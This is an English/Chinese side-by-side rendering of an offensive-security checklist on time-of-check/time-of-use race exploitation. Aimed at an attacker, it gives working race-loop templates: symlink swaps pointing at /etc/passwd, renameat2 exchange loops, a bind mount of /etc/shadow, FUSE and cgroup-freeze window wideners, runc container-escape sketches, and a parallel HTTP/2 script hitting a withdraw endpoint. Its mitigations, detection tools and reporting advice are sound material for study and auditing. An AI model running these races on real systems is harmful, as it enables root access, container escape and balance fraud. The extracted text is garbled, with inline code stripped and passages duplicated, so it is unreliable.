offensive-toctou
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseTOCTOU — Time-of-Check / Time-of-Use Exploitation
TOCTOU — Time-of-Check / Time-of-Use 利用
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
只要代码先检查某个属性(文件所有者、路径目标、令牌有效性、余额),随后又假定该属性仍然成立并据此执行操作,就存在 TOCTOU 漏洞。检查与使用之间存在一个窗口——你的任务是扩大该窗口,并替换底层对象。
Quick Workflow
快速工作流
- Identify the check (syscall, function, validation step) and the use (the privileged action)
- Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
- Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
- Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
- Run a tight loop and confirm the post-use state corresponds to the swapped target
- 识别 检查(syscall、函数、验证步骤)与 使用(特权操作)
- 确认检查与使用并非作用于同一个内核对象(FD、inode、原子快照)
- 构建一个能在检查与使用之间替换对象的原语(symlink、mount、mv、并行请求)
- 使用 FUSE、慢速文件系统、调度器技巧或单数据包 HTTP/2 来 扩大窗口
- 运行紧凑循环,并确认使用后的状态对应已替换的目标
The Core Pattern
核心模式
c
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}Between and , an attacker replaces with a symlink to . The check sees an attacker-owned file; the use opens shadow as root.
accessopenpath/etc/shadowThe fix is always: operate on the kernel object, not the path. Use , with , on the FD, etc.
O_NOFOLLOWopenatAT_SYMLINK_NOFOLLOWfstatc
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}在 与 之间,攻击者会将 替换为指向 的符号链接。检查阶段看到的是攻击者拥有的文件;使用阶段则以 root 身份打开 shadow。
accessopenpath/etc/shadow修复原则始终是:操作内核对象,而不是路径。 使用 、带 的 、对 FD 执行 等。
O_NOFOLLOWAT_SYMLINK_NOFOLLOWopenatfstatFilesystem TOCTOU
文件系统 TOCTOU
Symlink Swap (Classic)
Symlink 替换(经典)
bash
undefinedbash
undefinedSetup target — privileged binary that writes to user-supplied path after access() check
Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
victim --output /tmp/.attacker/output
Race loop
Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
Run victim repeatedly
Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
undefinedwhile true; do victim --output /tmp/.attacker/output; done
undefinedrenameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap
renameat2(RENAME_EXCHANGE) — 原子单帧交换
c
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);RENAME_EXCHANGEc
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);RENAME_EXCHANGEDirectory Swap (mv between two prepared trees)
目录替换(在两棵预备好的目录树之间使用 mv)
When the victim resolves , swap itself:
parent/fileparentbash
mv good_dir parent && mv evil_dir parent_was_good_dir当目标进程解析 时,替换 本身:
parent/fileparentbash
mv good_dir parent && mv evil_dir parent_was_good_dirIf victim is mid-resolution of parent/file
, dir cache may pin one side
parent/fileIf victim is mid-resolution of parent/file
, dir cache may pin one side
parent/fileundefinedundefinedBind Mount / Mount-Namespace Swap (root-only or in user-ns)
绑定挂载 / Mount Namespace 替换(仅限 root 或在 user namespace 中)
bash
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/filebash
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/fileThen: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done
Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done
In containerized contexts with `CAP_SYS_ADMIN` in a user namespace, this is the foundation of multiple runc/CVE escape chains.
---
在容器化环境中,如果 user namespace 内拥有 `CAP_SYS_ADMIN`,这就是多条 runc/CVE 逃逸链的基础。
---Window-Widening Primitives
窗口扩大原语
The race is always winnable in theory; in practice you need the window large enough for your swap.
从理论上讲,竞态总是可以被利用;实践中需要窗口足够大,以容纳你的替换操作。
FUSE-Backed Slow Filesystem
FUSE 支持的慢速文件系统
Mount a FUSE filesystem you control. When the victim does or , your handler sleeps:
openstatpython
undefined挂载一个由你控制的 FUSE 文件系统。当目标进程执行 或 时,你的 handler 会休眠:
openstatpython
undefinedfusepy
fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).dict
Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).dict
此时,目标进程内部的检查调用会阻塞 5 秒——有充足时间替换检查后的文件名。Userfaultfd (kernel-level page faults)
Userfaultfd(内核级 page fault)
c
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);userfaultfdcopy_from_uservm.unprivileged_userfaultfd=1c
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);注册一个 userfault 区域;当目标进程读取用户可控缓冲区时,在 page fault handler 中将其暂停,交换数据后再恢复执行。
userfaultfdcopy_from_uservm.unprivileged_userfaultfd=1Cgroup Freeze
Cgroup Freeze
bash
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pausebash
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pauseswap files
swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
undefinedecho 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
undefinedSingle-CPU Pinning + sched_yield
单 CPU 绑定 + sched_yield
c
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unitc
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unitKernel Double-Fetch
内核 Double-Fetch
A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.
c
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.
内核函数两次读取同一个用户空间位置;攻击者在此期间使用 userfaultfd 或另一个线程修改其内容。
c
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.工具:KFENCE、Bochspwn-Reloaded、DECAF——用于检测 double-fetch 的模糊测试器和分析器。
/proc and procfs Races
/proc 与 procfs 竞态
/proc/pid/exe + ptrace
/proc/pid/exe + ptrace
/proc/<pid>/exec
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE/proc/<pid>/exec
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE/proc/pid/mem
/proc/pid/mem
open("/proc/pid/mem")lseek+write历史上,先执行 再执行 可以绕过写保护。现代内核会在写入时强制校验 ptrace 凭据,但嵌入式内核中仍存在旧有检查或被补丁移除的检查。
open("/proc/pid/mem")lseek+write/proc/pid/cwd / fd / root
/proc/pid/cwd / fd / root
Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of from a sibling container is a recurring vuln class.
/proc/pid/root/etc/shadow符号链接在解引用时会使用目标任务所在的 namespace 解析。从同级容器跨 namespace 解引用 是一类反复出现的漏洞。
/proc/pid/root/etc/shadowSetuid Binary TOCTOU
Setuid 二进制文件 TOCTOU
c
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}Symlink swap between and makes the binary read root-readable files for unprivileged users.
accessopenRule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.
bash
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"c
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}在 与 之间进行符号链接替换,可使非特权用户借该二进制文件读取仅 root 可读的文件。
accessopen审查 setuid/setgid 二进制文件时的经验法则: syscall trace 中每次出现两次的路径都是潜在检查点。
bash
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"Multiple resolutions of the same user-controlled path = TOCTOU surface
Multiple resolutions of the same user-controlled path = TOCTOU surface
---
---Container Escape via TOCTOU
通过 TOCTOU 实现容器逃逸
CVE-2019-5736 (runc) — /proc/self/exe
Overwrite
/proc/self/exeCVE-2019-5736(runc)— /proc/self/exe
覆盖
/proc/self/exeWhen a container runs , runc opens from the host. By replacing the in-container binary with a symlink to , the host runc rewrites itself.
docker exec/proc/self/exe/proc/self/exe当容器运行 时,runc 会从宿主机打开 。通过将容器内二进制文件替换为指向 的符号链接,宿主机的 runc 会改写自身。
docker exec/proc/self/exe/proc/self/exeCVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak
CVE-2024-21626(runc “Leaky Vessels”)— 工作目录 FD 泄漏
A leaked file descriptor to the host filesystem could be inherited via — the container's first process held a host FD, races on namespace setup let it act on host paths.
WORKDIR /proc/self/fd/<n>指向宿主文件系统的泄漏文件描述符可以通过 被继承——容器的第一个进程持有宿主 FD,而 namespace 设置期间的竞态使其能够操作宿主路径。
WORKDIR /proc/self/fd/<n>Symlink-on-Mount Race
挂载时 Symlink 竞态
When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to . Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.
/当 runtime 解析绑定挂载的源路径/目标路径(例如为 tmpfs 设置做解析)时,快速攻击者会将路径中的目录替换为指向 的符号链接。这在 Kubernetes hostPath、Docker volumes 和 OpenShift SCC 绕过中很常见。
/Web / API TOCTOU
Web / API TOCTOU
Auth vs Authz Split at Gateway
网关处的 Auth vs Authz 分离
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" headerIf the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header如果 JWT 在网关缓存与网关验证之间被吊销,或者网关将“有效”结果缓存过久,就会出现吊销后仍可访问的问题。缓存键混淆(不同网关节点)会扩大窗口。
Permission Recheck Skipped on Long-Running Action
长时间运行的操作跳过权限重新检查
python
undefinedpython
undefinedVulnerable
Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-stream
Test: revoke access while a download is mid-stream; if data continues, recheck is missing.def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-stream
测试方式:在下载进行到一半时吊销访问权限;如果数据仍继续传输,说明缺少重新检查。Idempotency-Key Reuse with Different Body
对不同请求体复用 Idempotency-Key
http
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different bodyMany implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.
http
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different body许多实现只以 key 作为索引,而不是 key+body-hash → 第二个请求会返回第一个请求的响应,同时仍在处理第二次扣款。
Single-Packet Multi-Request
单数据包多请求
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".This is the standard primitive for web TOCTOU since 2023; old parallelism is obsolete.
httpie ... &HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".自 2023 年起,这已成为 Web TOCTOU 的标准原语;旧式的 并行方式已经过时。
httpie ... &Limit / Quota TOCTOU
限额 / 配额 TOCTOU
python
undefinedpython
undefinedVulnerable
Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)
Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (`UPDATE ... WHERE balance >= amount`).
---if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)
发送 N 个并行请求,每个请求都会看到扣减前相同的余额。修复方式:使用带约束条件的原子扣减(`UPDATE ... WHERE balance >= amount`)。
---Mobile / Binary Cookbook
移动端 / 二进制文件实战手册
Android: Intent Redirect TOCTOU
Android:Intent 重定向 TOCTOU
Activity checks calling package via then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.
getCallingPackage()Activity 通过 检查调用方包名,随后通过 Intent 分发——在检查与分发之间,攻击者会替换底层 ContentProvider URI 的 authority 解析结果。
getCallingPackage()iOS: NSXPC Audit Token Confusion
iOS:NSXPC Audit Token 混淆
audit_token_t应在每次处理 XPC 消息开始时捕获 。如果服务只捕获一次并重复使用,攻击者可以利用 PID 复用竞态进行冒充。
audit_token_tDetection & Tooling
检测与工具
| Tool | Layer | Use |
|---|---|---|
| Linux syscall | Find duplicate path resolutions |
| Kernel | Probe specific syscalls' args at scale |
| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |
| Helgrind / DRD | Userspace | Pthread race detection |
| Bochspwn-Reloaded | Kernel | Double-fetch detection |
| Kernel | Coverage-guided race fuzzing |
| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |
| Web | Multi-thread + timing harness |
| Web | Pipelined parallel requests |
bash
undefined| 工具 | 层级 | 用途 |
|---|---|---|
| Linux syscall | 查找重复的路径解析 |
| 内核 | 大规模探测特定 syscall 的参数 |
| ThreadSanitizer(TSan) | 用户空间 C/C++ | 编译时竞态检测 |
| Helgrind / DRD | 用户空间 | Pthread 竞态检测 |
| Bochspwn-Reloaded | 内核 | Double-fetch 检测 |
| 内核 | 基于覆盖率引导的竞态模糊测试 |
| Burp Suite(Repeater single-packet) | Web/HTTP | 并发请求竞态 |
| Web | 多线程 + 计时测试工具 |
| Turbo Intruder | Web | 流水线式并行请求 |
bash
undefinedQuick filesystem TOCTOU finder against a binary
Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 |
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' |
sort | uniq -c | sort -rn | head
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' |
sort | uniq -c | sort -rn | head
strace -f -e trace=file ./target 2>&1 |
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2} |
sort | uniq -c | sort -rn | head
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2} |
sort | uniq -c | sort -rn | head
Paths appearing N>1 times → TOCTOU candidates
Paths appearing N>1 times → TOCTOU candidates
---
出现次数 N>1 的路径 → TOCTOU 候选点
---Race Loop Templates
竞态循环模板
Filesystem (C)
文件系统(C)
c
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}c
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}Web (Python — single-packet HTTP/2)
Web(Python — 单数据包 HTTP/2)
python
undefinedpython
undefinedUse httpx or h2 directly; pyburp or turbo-intruder for production
Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)
For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.
---import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)
若要在 TLS 环境下获得真正的可靠性,优先使用 Burp 的 single-packet 功能——它会构造 HTTP/2 的最后一个字节同步。
---Reporting / Severity
报告 / 严重性
A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:
- The minimum reproducer
- The window-widener used
- The success rate observed
- The post-exploit primitive achieved
TOCTOU 发现项的严重程度取决于:窗口大小(确定性还是概率性)、所需邻接条件(本地用户 / 容器 / 已认证的远程用户),以及使用后原语(文件写入、认证绕过、金钱)。一旦与窗口扩大原语结合,“万分之一成功率但可获得 root 的竞态”与“可确定获得 root 的竞态”属于同一严重级别的发现。务必证明:
- 最小复现器
- 使用的窗口扩大手段
- 观察到的成功率
- 达成的利用后原语
Key References
关键参考资料
- MITRE CWE-367 (TOCTOU), CWE-362 (Race Condition)
- USENIX Security: "FUSE for Profit" — TOCTOU window-widening
- PortSwigger Research: "Smashing the state machine" (single-packet HTTP/2 attack)
- runc CVE-2019-5736, CVE-2024-21626 advisories
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md
- MITRE CWE-367(TOCTOU)、CWE-362(Race Condition)
- USENIX Security:《FUSE for Profit》——TOCTOU 窗口扩大
- PortSwigger Research:《Smashing the state machine》(单数据包 HTTP/2 攻击)
- runc CVE-2019-5736、CVE-2024-21626 公告
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md